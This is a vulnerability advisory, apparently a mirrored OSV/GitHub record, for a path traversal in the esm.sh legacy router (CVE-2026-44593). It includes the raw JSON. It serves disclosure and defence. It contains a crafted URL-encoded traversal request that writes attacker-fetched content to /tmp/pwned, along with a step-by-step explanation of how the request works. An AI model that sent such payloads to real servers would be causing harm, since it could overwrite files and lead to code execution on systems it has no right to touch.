GHSA-3636-H3VX-6465高危已审查

esm.sh: Legacy Route Path Traversal Can Lead to RCE

OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 09:59

发布时间

2026-05-13 06:22

GitHub 审查时间

2026-05-13 06:22

NVD 发布时间

2026-05-29 00:16

源文件

advisories/github-reviewed/2026/05/GHSA-3636-h3vx-6465/GHSA-3636-h3vx-6465.json

公告说明

Impact

Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

URL Construction
A crafted request is sent to the server:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

Proxy to Legacy Server
The request is forwarded to:

http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

File Retrieval
The server fetches foo.md from the GitHub repository .

标识信息

别名 / CVE

CVE-2026-44593

CWE

CWE-22

软件生态

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V4

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

原始 OSV JSON

{
  "id": "GHSA-3636-h3vx-6465",
  "aliases": [
    "CVE-2026-44593"
  ],
  "details": "### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team",
  "summary": "esm.sh: Legacy Route Path Traversal Can Lead to RCE",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260508100112-1960055e1d53"
            }
          ]
        }
      ],
      "package": {
        "name": "github.com/esm-dev/esm.sh",
        "ecosystem": "Go"
      }
    }
  ],
  "modified": "2026-06-09T01:59:36Z",
  "severity": [
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
    }
  ],
  "published": "2026-05-12T22:22:39Z",
  "references": [
    {
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44593",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/esm-dev/esm.sh",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137_3",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": "2026-05-28T16:16:24Z",
    "github_reviewed_at": "2026-05-12T22:22:39Z"
  }
}